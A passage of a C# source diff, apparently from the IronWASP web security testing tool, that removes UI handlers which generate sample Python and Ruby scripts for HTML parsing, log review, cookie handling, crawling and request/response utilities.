HtmlGVMainAttributeNameTB.Text.Replace("\"", "\\\""); - HelperAttributeName = HtmlGVHelperAttributeNameTB.Text.Replace("\"", "\\\""); - HelperAttributeValue = HtmlGVHelperAttributeValueTB.Text.Replace("\"", "\\\""); - - if (TagName.Length == 0) - { - ShowHtmlError("Tagname cannot be empty"); - return; - } - if (MainAttributeName.Length == 0) - { - ShowHtmlError("Cannot get value of attribute without its name. Provide the attribute name."); - return; - } - - if (HelperAttributeName.Length == 0) - { - if (TagName.Equals("*")) - { - Py.AppendLine(string.Format(@"#Get the values of the '{0}"" attrubute from all tags", MainAttributeName)); - Rb.AppendLine(string.Format(@"#Get the values of the '{0}"" attrubute from all tags", MainAttributeName)); - } - else - { - Py.AppendLine(string.Format(@"#Get the values of the ""{0}"" attribute from '{1}' tags", MainAttributeName, TagName)); - Rb.AppendLine(string.Format(@"#Get the values of the ""{0}"" attribute from '{1}' tags", MainAttributeName, TagName)); - } - - Py.AppendLine(string.Format(@"values = res.Html.GetValues(""{0}"", ""{1}"")", TagName, MainAttributeName)); - Py.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for value in values:"); - Py.Append(" "); Py.AppendLine("print value"); - - - Rb.AppendLine(string.Format(@"values = res.html.get_values(""{0}"", ""{1}"")", TagName, MainAttributeName)); - Rb.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for value in values"); - Rb.Append(" "); Rb.AppendLine("puts value"); - Rb.AppendLine("end"); - } - else - { - if (TagName.Equals("*")) - { - Py.AppendLine(string.Format(@"#Get the values of the ""{0}"" attrubute from all tags that have the ""{1}"" attribute with value ""{2}""", MainAttributeName, HelperAttributeName, HelperAttributeValue)); - Rb.AppendLine(string.Format(@"#Get the values of the ""{0}"" attrubute from all tags that have the ""{1}"" attribute with value ""{2}""", MainAttributeName, HelperAttributeName, HelperAttributeValue)); - } - else - { - Py.AppendLine(string.Format(@"#Get the values of the '{0}' attribute from all '{1}' tags that have the '{2}' attribute with value '{3}'", MainAttributeName, TagName, HelperAttributeName, HelperAttributeValue)); - Rb.AppendLine(string.Format(@"#Get the values of the '{0}' attribute from all '{1}' tags that have the '{2}' attribute with value '{3}'", MainAttributeName, TagName, HelperAttributeName, HelperAttributeValue)); - } - - Py.AppendLine(string.Format(@"values = res.Html.GetValues(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); - Py.AppendLine(string.Format(@"#The previous command does a case sensitive match for the attribute value ""{0}"". If you want to do a case-insenstive match then use:", HelperAttributeValue)); - Py.AppendLine(string.Format(@"#res.Html.GetValuesIgnoreValueCase(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); - Py.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for value in values:"); - Py.Append(" "); Py.AppendLine("print value"); - - - Rb.AppendLine(string.Format(@"values = res.html.get_values(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); - Py.AppendLine(string.Format(@"#The previous command does a case sensitive match for the attribute value ""{0}"". If you want to do a case-insenstive match then use:", HelperAttributeValue)); - Py.AppendLine(string.Format(@"#res.html.get_values_ignore_value_case(""{0}"", ""{1}"", ""{2}"", ""{3}"")", TagName, HelperAttributeName, HelperAttributeValue, MainAttributeName)); - Rb.AppendLine("#Values are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for value in values"); - Rb.Append(" "); Rb.AppendLine("puts value"); - Rb.AppendLine("end"); - } - break; - case ("Get Elements from Html as strings"): - case ("Get Elements from Html as objects"): - TagName = HtmlGETagTB.Text.Replace("\"", "\\\"");; - HelperAttributeName = HtmlGEAttributeNameTB.Text.Replace("\"", "\\\""); - HelperAttributeValue = HtmlGEAttributeValueTB.Text.Replace("\"", "\\\""); - - string PyCommand = ""; - string RbCommand = ""; - - string PyElementAction = ""; - string RbElementAction = ""; - - if (TagName.Length == 0) - { - ShowHtmlError("Tagname cannot be empty"); - return; - } - - if (Property.Equals("Get Elements from Html as strings")) - { - PyCommand = "Get"; - RbCommand = "get"; - } - else - { - PyCommand = "GetNodes"; - RbCommand = "get_nodes"; - } - - StringBuilder PyEA = new StringBuilder(); - StringBuilder RbEA = new StringBuilder(); - - if (Property.Equals("Get Elements from Html as strings")) - { - PyEA.AppendLine("#Elements are returned as a .NET List type but you can iterate over it like Python list."); - PyEA.AppendLine("for element in elements:"); - PyEA.Append(" "); PyEA.AppendLine("print element"); - - RbEA.AppendLine("#Elements are returned as a .NET List type but you can iterate over it like Ruby list."); - RbEA.AppendLine("for element in elements"); - RbEA.Append(" "); RbEA.AppendLine("puts element"); - RbEA.AppendLine("end"); - } - else - { - PyEA.AppendLine("#The elements are returned as HtmlNodeCollection object"); - PyEA.AppendLine("#If there are no matches then None is returned, so first check if there are results"); - PyEA.AppendLine("if elements:"); - PyEA.Append(" "); PyEA.AppendLine("#We can look through the collection to access each individual element."); - PyEA.Append(" "); PyEA.AppendLine("for element in elements:"); - PyEA.Append(" "); PyEA.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); - PyEA.Append(" "); PyEA.AppendLine("print 'Element name: ' + element.Name"); - PyEA.Append(" "); PyEA.AppendLine("print 'Element id: ' + element.Id"); - PyEA.Append(" "); PyEA.AppendLine("print 'Element attributes:'"); - PyEA.Append(" "); PyEA.AppendLine("for attr in element.Attributes:"); - PyEA.Append(" "); PyEA.AppendLine("print attr.Name + '=' + attr.Value"); - PyEA.Append(" "); PyEA.AppendLine("print 'Element innertext: ' + element.InnerText"); - PyEA.Append(" "); PyEA.AppendLine("print 'Element innerhtml: ' + element.InnerHtml"); - PyEA.Append(" "); PyEA.AppendLine("print 'Element outerhtml: ' + element.OuterHtml"); - PyEA.Append(" "); PyEA.AppendLine("if element.HasChildNodes:"); - PyEA.Append(" "); PyEA.AppendLine("print 'this element has child nodes.'"); - PyEA.Append(" "); PyEA.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); - PyEA.Append(" "); PyEA.AppendLine("else:"); - PyEA.Append(" "); PyEA.AppendLine("print 'this element does not have child nodes'"); - - - RbEA.AppendLine("#The elements are returned as HtmlNodeCollection object"); - RbEA.AppendLine("#If there are no matches then nil is returned, so first check if there are results"); - RbEA.AppendLine("if elements"); - RbEA.Append(" "); RbEA.AppendLine("#We can look through the collection to access each individual element."); - RbEA.Append(" "); RbEA.AppendLine("for element in elements"); - RbEA.Append(" "); RbEA.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element name: ' + element.name"); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element id: ' + element.id"); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element attributes:'"); - RbEA.Append(" "); RbEA.AppendLine("for attr in element.attributes"); - RbEA.Append(" "); RbEA.AppendLine("print attr.name + '=' + attr.value"); - RbEA.Append(" "); RbEA.AppendLine("end"); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element innertext: ' + element.inner_text"); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element innerhtml: ' + element.inner_html"); - RbEA.Append(" "); RbEA.AppendLine("puts 'Element outerhtml: ' + element.outer_html"); - RbEA.Append(" "); RbEA.AppendLine("if element.has_child_nodes"); - RbEA.Append(" "); RbEA.AppendLine("puts 'this element has child nodes.'"); - RbEA.Append(" "); RbEA.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); - RbEA.Append(" "); RbEA.AppendLine("else"); - RbEA.Append(" "); RbEA.AppendLine("puts 'this element does not have child nodes'"); - RbEA.Append(" "); RbEA.AppendLine("end"); - RbEA.Append(" "); RbEA.AppendLine("end"); - RbEA.AppendLine("end"); - } - - PyElementAction = PyEA.ToString(); - RbElementAction = RbEA.ToString(); - - if (HelperAttributeName.Length == 0) - { - if (TagName.Equals("*")) - { - Py.AppendLine(@"#Get all the elements in the Html"); - Rb.AppendLine(@"#Get all the elements in the Html"); - } - else - { - Py.AppendLine(string.Format(@"#Get all ""{0}"" elements from the Html", TagName)); - Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements from the Html", TagName)); - } - - Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"")", PyCommand, TagName)); - Py.AppendLine(PyElementAction); - - - Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"")", RbCommand, TagName)); - Rb.AppendLine(RbElementAction); - } - else - { - if (HelperAttributeValue.Length == 0) - { - if (TagName.Equals("*")) - { - Py.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute", HelperAttributeName)); - Rb.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute", HelperAttributeName)); - - } - else - { - Py.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute", TagName, HelperAttributeName)); - Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute", TagName, HelperAttributeName)); - } - - Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"", ""{2}"")", PyCommand, TagName, HelperAttributeName)); - Py.AppendLine(PyElementAction); - - Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"", ""{2}"")", RbCommand, TagName, HelperAttributeName)); - Rb.AppendLine(RbElementAction); - } - else - { - if (TagName.Equals("*")) - { - Py.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute with value ""{1}""", HelperAttributeName, HelperAttributeValue)); - Rb.AppendLine(string.Format(@"#Get all elements that have the ""{0}"" attribute with value ""{1}""", HelperAttributeName, HelperAttributeValue)); - } - else - { - Py.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute with value ""{2}""", TagName, HelperAttributeName, HelperAttributeValue)); - Rb.AppendLine(string.Format(@"#Get all ""{0}"" elements that have the ""{1}"" attribute with value ""{2}""", TagName, HelperAttributeName, HelperAttributeValue)); - } - - Py.AppendLine(string.Format(@"elements = res.Html.{0}(""{1}"", ""{2}"", ""{3}"")", PyCommand, TagName, HelperAttributeName, HelperAttributeValue)); - Py.AppendLine(PyElementAction); - - Rb.AppendLine(string.Format(@"elements = res.html.{0}(""{1}"", ""{2}"", ""{3}"")", RbCommand, TagName, HelperAttributeName, HelperAttributeValue)); - Rb.AppendLine(RbElementAction); - } - } - break; - case ("Find the context a keyword"): - if (Keyword.Length == 0) - { - ShowHtmlError("Keyword cannot be empty"); - return; - } - - Py.AppendLine(string.Format(@"contexts = res.Html.GetContext(""{0}"")", Keyword)); - Py.AppendLine("#Contexts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine(string.Format(@"print ""The string \""{0}\"" appears in the following sections of the HTML:"" ", Keyword)); - Py.AppendLine("for context in contexts:"); - Py.Append(" "); Py.AppendLine("print context"); - - - Rb.AppendLine(string.Format(@"contexts = res.html.get_context(""{0}"")", Keyword)); - Rb.AppendLine("#Contexts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine(string.Format(@"puts ""The string \""{0}\"" appears in the following sections of the HTML:"" ", Keyword)); - Rb.AppendLine("for context in contexts"); - Rb.Append(" "); Rb.AppendLine("puts context"); - Rb.AppendLine("end"); - break; - case ("Get Forms from Html"): - Py.AppendLine("forms = res.Html.GetForms()"); - Py.AppendLine("#The elements are returned as list of HtmlNode objects"); - Py.AppendLine("#We can look through the collection to access each individual element."); - Py.AppendLine("for element in forms:"); - Py.Append(" "); Py.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); - Py.Append(" "); Py.AppendLine("print 'Element name: ' + element.Name"); - Py.Append(" "); Py.AppendLine("print 'Element id: ' + element.Id"); - Py.Append(" "); Py.AppendLine("print 'Element attributes:'"); - Py.Append(" "); Py.AppendLine("for attr in element.Attributes:"); - Py.Append(" "); Py.AppendLine("print attr.Name + '=' + attr.Value"); - Py.Append(" "); Py.AppendLine("print 'Element innertext: ' + element.InnerText"); - Py.Append(" "); Py.AppendLine("print 'Element innerhtml: ' + element.InnerHtml"); - Py.Append(" "); Py.AppendLine("print 'Element outerhtml: ' + element.OuterHtml"); - Py.Append(" "); Py.AppendLine("if element.HasChildNodes:"); - Py.Append(" "); Py.AppendLine("print 'this element has child nodes.'"); - Py.Append(" "); Py.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'this element does not have child nodes'"); - - Rb.AppendLine("forms = res.html.get_forms"); - Rb.AppendLine("#The elements are returned as list of HtmlNode objects"); - Rb.AppendLine("#We can look through the collection to access each individual element."); - Rb.AppendLine("for element in forms"); - Rb.Append(" "); Rb.AppendLine("#Each individual element is represented as HtmlNode object. We can get the required details from the object."); - Rb.Append(" "); Rb.AppendLine("puts 'Element name: ' + element.name"); - Rb.Append(" "); Rb.AppendLine("puts 'Element id: ' + element.id"); - Rb.Append(" "); Rb.AppendLine("puts 'Element attributes:'"); - Rb.Append(" "); Rb.AppendLine("for attr in element.attributes"); - Rb.Append(" "); Rb.AppendLine("print attr.name + '=' + attr.value"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("puts 'Element innertext: ' + element.inner_text"); - Rb.Append(" "); Rb.AppendLine("puts 'Element innerhtml: ' + element.inner_html"); - Rb.Append(" "); Rb.AppendLine("puts 'Element outerhtml: ' + element.outer_html"); - Rb.Append(" "); Rb.AppendLine("if element.has_child_nodes"); - Rb.Append(" "); Rb.AppendLine("puts 'this element has child nodes.'"); - Rb.Append(" "); Rb.AppendLine("#Child nodes can be accessed by element.ChildNodes property. This property returns a HtmlNodeCollection object."); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'this element does not have child nodes'"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine("end"); - break; - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void LogCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowLogError(""); - - string LogSource = ""; - - foreach (DataGridViewRow Row in LogSourceGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - LogSource = Row.Cells[1].Value.ToString(); - break; - } - } - if (LogSource.Length == 0) - { - ShowLogError("Log Source has not been selected."); - return; - } - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#We find out the number of logs in the selected log source and loop through it"); - Rb.AppendLine("#We find out the number of logs in the selected log source and loop through it"); - - switch (LogSource) - { - case ("Proxy"): - Py.AppendLine("for i in range(Config.LastProxyLogId):"); - Py.Append(" "); Py.AppendLine("sess = Session.FromProxyLog(i+1)"); - - Rb.AppendLine("for i in (1..Config.last_proxy_log_id)"); - Rb.Append(" "); Rb.AppendLine("sess = Session.from_proxy_log(i)"); - break; - case ("Probe"): - Py.AppendLine("for i in range(Config.LastProbeLogId):"); - Py.Append(" "); Py.AppendLine("sess = Session.FromProbeLog(i+1)"); - - Rb.AppendLine("for i in (1..Config.last_probe_log_id)"); - Rb.Append(" "); Rb.AppendLine("sess = Session.from_probe_log(i)"); - break; - case ("Shell"): - Py.AppendLine("for i in range(Config.LastShellLogId):"); - Py.Append(" "); Py.AppendLine("sess = Session.FromShellLog(i+1)"); - - Rb.AppendLine("for i in (1..Config.last_shell_log_id)"); - Rb.Append(" "); Rb.AppendLine("sess = Session.from_shell_log(i)"); - break; - case ("Scan"): - Py.AppendLine("for i in range(Config.LastScanLogId):"); - Py.Append(" "); Py.AppendLine("sess = Session.FromScanLog(i+1)"); - - Rb.AppendLine("for i in (1..Config.last_scan_log_id)"); - Rb.Append(" "); Rb.AppendLine("sess = Session.from_scan_log(i)"); - break; - case ("Test"): - Py.AppendLine("for i in range(Config.LastTestLogId):"); - Py.Append(" "); Py.AppendLine("sess = Session.FromTestLog(i+1)"); - - Rb.AppendLine("for i in (1..Config.last_test_log_id)"); - Rb.Append(" "); Rb.AppendLine("sess = Session.from_test_log(i)"); - break; - default: - Py.AppendLine(string.Format(@"for i in range(Config.GetLastLogId(""{0}"")):", LogSource)); - Py.Append(" "); Py.AppendLine(string.Format(@"sess = Session.FromLog(i+1, ""{0}"")", LogSource)); - - Rb.AppendLine(string.Format(@"for i in (1..Config.get_last_log_id(""{0}""))", LogSource)); - Rb.Append(" "); Rb.AppendLine(string.Format(@"sess = Session.from_log(i, ""{0}"")", LogSource)); - break; - } - - Py.Append(" "); Py.AppendLine("#Session object represents a request and its corresponding response."); - Py.Append(" "); Py.AppendLine("#Sometimes the log might not have a response for a request, for example when the server was not reachable."); - Py.Append(" "); Py.AppendLine("#So we check and ensure the response object of the sess object is not null"); - Py.Append(" "); Py.AppendLine("if sess.Response:"); - Py.Append(" "); Py.AppendLine("#If response code is 500 we print a message"); - Py.Append(" "); Py.AppendLine("if sess.Response.Code == 500:"); - Py.Append(" "); Py.AppendLine("print 'Response code 500 was found in log id - ' + str(sess.Request.LogId)"); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'No error in log id - ' + str(sess.Request.LogId)"); - - Rb.Append(" "); Rb.AppendLine("#Session object represents a request and its corresponding response."); - Rb.Append(" "); Rb.AppendLine("#Sometimes the log might not have a response for a request, for example when the server was not reachable."); - Rb.Append(" "); Rb.AppendLine("#So we check and ensure the response object of the sess object is not null"); - Rb.Append(" "); Rb.AppendLine("if sess.response"); - Rb.Append(" "); Rb.AppendLine("#If response code is 500 we print a message"); - Rb.Append(" "); Rb.AppendLine("if sess.response.code == 500"); - Rb.Append(" "); Rb.AppendLine("puts 'Response code 500 was found in log id - ' + sess.request.log_id.to_s"); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'No error in log id - ' + sess.request.log_id.to_s"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine("end"); - - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void CrawlCreateCodeBtn_Click(object sender, EventArgs e) - { - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object and 'res' is a variable that contains the Response recieved after sending 'req' and contains SetCookie headers"); - Py.AppendLine("#'new_req' is a variable that is assumed to contain a Request object to which cookies must be set."); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object and 'res' is a variable that contains the Response recieved after sending 'req' and contains SetCookie headers"); - Rb.AppendLine("#'new_req' is a variable that is assumed to contain a Request object to which cookies must be set."); - - if (CrawlCookiesRB.Checked) - { - Py.AppendLine("#For simple cases you can update the cookie of a request directly from the response"); - Py.AppendLine("new_req.SetCookie(res)"); - Rb.AppendLine("#For simple cases you can update the cookie of a request directly from the response"); - Rb.AppendLine("new_req.set_cookie(res)"); - - Py.AppendLine(); - Py.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.AppendLine("#If you want to be precise you can just update the request from one SetCookie header of the response"); - Py.AppendLine("new_req.SetCookie(res.SetCookies[0])"); - Rb.AppendLine("#If you want to be precise you can just update the request from one SetCookie header of the response"); - Rb.AppendLine("new_req.set_cookie(res.set_cookies[0])"); - - Py.AppendLine(); - Py.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.AppendLine("#When dealing with multiple requests, its best to use CookieStore class"); - Py.AppendLine("#Create a CookieStore"); - Py.AppendLine("cs = CookieStore()"); - Py.AppendLine("#Store cookies in the CookieStore using the Add method. The request and the corresponding response are used as arguments."); - Py.AppendLine("#The cookies from the SetCookie header of the response are stored in the CookieStore, the hostname and url path from the request are stored along with the cookies."); - Py.AppendLine("cs.Add(req, res)"); - Py.AppendLine("#When sending a new request, you can set or update its cookies from the cookie store. The cookie store will only update the request with cookies that match its hostname and url path, so it functions just like a browser's cookie store."); - Py.AppendLine("new_req.SetCookie(cs)"); - - Rb.AppendLine("#When dealing with multiple requests, its best to use CookieStore class"); - Rb.AppendLine("#Create a CookieStore"); - Rb.AppendLine("cs = CookieStore.new()"); - Rb.AppendLine("#Store cookies in the CookieStore using the Add method. The request and the corresponding response are used as arguments."); - Rb.AppendLine("#The cookies from the SetCookie header of the response are stored in the CookieStore, the hostname and url path from the request are stored along with the cookies."); - Rb.AppendLine("cs.add(req, res)"); - Rb.AppendLine("#When sending a new request, you can set or update its cookies from the cookie store. The cookie store will only update the request with cookies that match its hostname and url path, so it functions just like a browser's cookie store."); - Rb.AppendLine("new_req.set_cookie(cs)"); - } - else if (CrawlLinksRB.Checked) - { - Py.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); - Py.AppendLine("link_requests = Crawler.GetLinkClicks(req, res, cs)"); - Py.AppendLine("#'link_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone clicks on one of the links in the HTML"); - Py.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); - Py.AppendLine("for link_req in link_requests:"); - Py.Append(" "); Py.AppendLine("print 'Sending request to - ' + link_req.FullUrl"); - Py.Append(" "); Py.AppendLine("link_res = link_req.Send()"); - - Rb.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); - Rb.AppendLine("link_requests = Crawler.get_link_clicks(req, res, cs)"); - Rb.AppendLine("#'link_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone clicks on one of the links in the HTML"); - Rb.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); - Rb.AppendLine("for link_req in link_requests"); - Rb.Append(" "); Rb.AppendLine("puts 'Sending request to - ' + link_req.full_url"); - Rb.Append(" "); Rb.AppendLine("link_res = link_req.send_req"); - Rb.AppendLine("end"); - } - else if (CrawlFormsRB.Checked) - { - Py.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); - Py.AppendLine("form_requests = Crawler.GetFormSubmissions(req, res, cs)"); - Py.AppendLine("#'form_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone submits one of the forms in the HTML"); - Py.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); - Py.AppendLine("for form_req in form_requests:"); - Py.Append(" "); Py.AppendLine("print 'Submitting form to - ' + form_req.FullUrl"); - Py.Append(" "); Py.AppendLine("form_res = form_req.Send()"); - - Rb.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); - Rb.AppendLine("form_requests = Crawler.get_form_submissions(req, res, cs)"); - Rb.AppendLine("#'form_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone submits one of the forms in the HTML"); - Rb.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); - Rb.AppendLine("for form_req in form_requests"); - Rb.Append(" "); Rb.AppendLine("puts 'Submitting form to - ' + form_req.full_url"); - Rb.Append(" "); Rb.AppendLine("form_res = form_req.send_req"); - Rb.AppendLine("end"); - } - else - { - ShowCode("", ""); - return; - } - - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ReqOCreateCodeBtn_Click(object sender, EventArgs e) - { - string Action = ""; - - foreach (DataGridViewRow Row in ReqOActionsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Action = Row.Cells[2].Value.ToString(); - ReqODescTB.Text = Row.Cells[3].Value.ToString(); - break; - } - } - - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - - switch (Action) - { - case ("ToBinaryString"): - Py.AppendLine("#Convert the request to string. The string is specially formatted to preseve even binary content inside the request body."); - Py.AppendLine("#And it is a one-line string so you can easily embbed it in your scripts"); - Py.AppendLine("req_str = req.ToBinaryString()"); - Py.AppendLine("print 'The string representation of the request is :'"); - Py.AppendLine("print req_str"); - Py.AppendLine("#It is also possible to easily get the request object back from this string"); - Py.AppendLine("same_req = Request.FromBinaryString(req_str)"); - - Rb.AppendLine("#Convert the request to string. The string is specially formatted to preseve even binary content inside the request body."); - Rb.AppendLine("#And it is a one-line string so you can easily embbed it in your scripts"); - Rb.AppendLine("req_str = req.to_binary_string"); - Rb.AppendLine("puts 'The string representation of the request is :'"); - Rb.AppendLine("puts req_str"); - Rb.AppendLine("#It is also possible to easily get the request object back from this string"); - Rb.AppendLine("same_req = Request.from_binary_string(req_str)"); - break; - case ("ToTestUi"): - Py.AppendLine("#Create a new group in the ManualTesting section and display this request there."); - Py.AppendLine("name = req.ToTestUi()"); - Py.AppendLine("print 'Request sent to ManualTesting section. Group name is :' + name"); - Py.AppendLine("#You can also set a name to this group when sending the request. If this name is not valid or if it already exists then another name is automatically picked and used"); - Py.AppendLine("name = req.ToTestUi('somename')"); - Py.AppendLine("print 'Request sent to ManualTesting section. Group name is :' + name"); - - Rb.AppendLine("#Create a new group in the ManualTesting section and display this request there."); - Rb.AppendLine("name = req.to_test_ui"); - Rb.AppendLine("puts 'Request sent to ManualTesting section. Group name is :' + name"); - Rb.AppendLine("#You can also set a name to this group when sending the request. If this name is not valid or if it already exists then another name is automatically picked and used"); - Rb.AppendLine("name = req.ToTestUi('somename')"); - Rb.AppendLine("puts 'Request sent to ManualTesting section. Group name is :' + name"); - break; - case ("GetClone"): - Py.AppendLine("#Create a cloned copy of a request object"); - Py.AppendLine("cloned_req = req.GetClone()"); - Py.AppendLine("#'cloned_req' is exactly identical copy of 'req'"); - - - Rb.AppendLine("#Create a cloned copy of a request object"); - Rb.AppendLine("cloned_req = req.get_clone"); - Rb.AppendLine("#'cloned_req' is exactly identical copy of 'req'"); - break; - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ResOCreateCodeBtn_Click(object sender, EventArgs e) - { - string Action = ""; - - foreach (DataGridViewRow Row in ResOActionsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Action = Row.Cells[2].Value.ToString(); - ResODescTB.Text = Row.Cells[3].Value.ToString(); - break; - } - } - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - - switch (Action) - { - case ("Render"): - Py.AppendLine("#Will start an another application to display the page."); - Py.AppendLine("res.Render()"); - - Rb.AppendLine("#Will start an another application to display the page."); - Rb.AppendLine("res.render"); - break; - case ("Save"): - Py.AppendLine("#Save the body of the response to a file named image.jpg in c:\\ drive"); - Py.AppendLine(@"res.SaveBody(""c:\\image.jpg"")"); - - Rb.AppendLine("#Save the body of the response to a file named image.jpg in c:\\ drive"); - Rb.AppendLine(@"res.save_body(""c:\\image.jpg"")"); - break; - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ResOActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ResOActionsGrid.SelectedRows == null) return; - if (ResOActionsGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in ResOActionsGrid.Rows) - { - if (Row.Index == ResOActionsGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - ResOCreateCodeBtn.Enabled = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ReqOActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ReqOActionsGrid.SelectedRows == null) return; - if (ReqOActionsGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in ReqOActionsGrid.Rows) - { - if (Row.Index == ReqOActionsGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - ReqOCreateCodeBtn.Enabled = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ToolsItemGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ToolsItemGrid.SelectedRows == null) return; - if (ToolsItemGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in ToolsItemGrid.Rows) - { - if (Row.Index == ToolsItemGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - ToolsCreateCodeBtn.Enabled = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void LogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (LogSourceGrid.SelectedRows == null) return; - if (LogSourceGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in LogSourceGrid.Rows) - { - if (Row.Index == LogSourceGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - LogCreateCodeBtn.Enabled = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ToolsCreateCodeBtn_Click(object sender, EventArgs e) - { - string Action = ""; - - foreach (DataGridViewRow Row in ToolsItemGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Action = Row.Cells[2].Value.ToString(); - break; - } - } - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - - switch (Action) - { - case ("path"): - Py.AppendLine("print 'the location of IronWASP executable is ' + Config.Path"); - - Rb.AppendLine("puts 'the location of IronWASP executable is ' + Config.path"); - break; - case ("base64"): - Py.AppendLine("#Base64 encode 'abcd'"); - Py.AppendLine("enc_value = Tools.Base64Encode('abcd')"); - Py.AppendLine("#now Base64 decode the 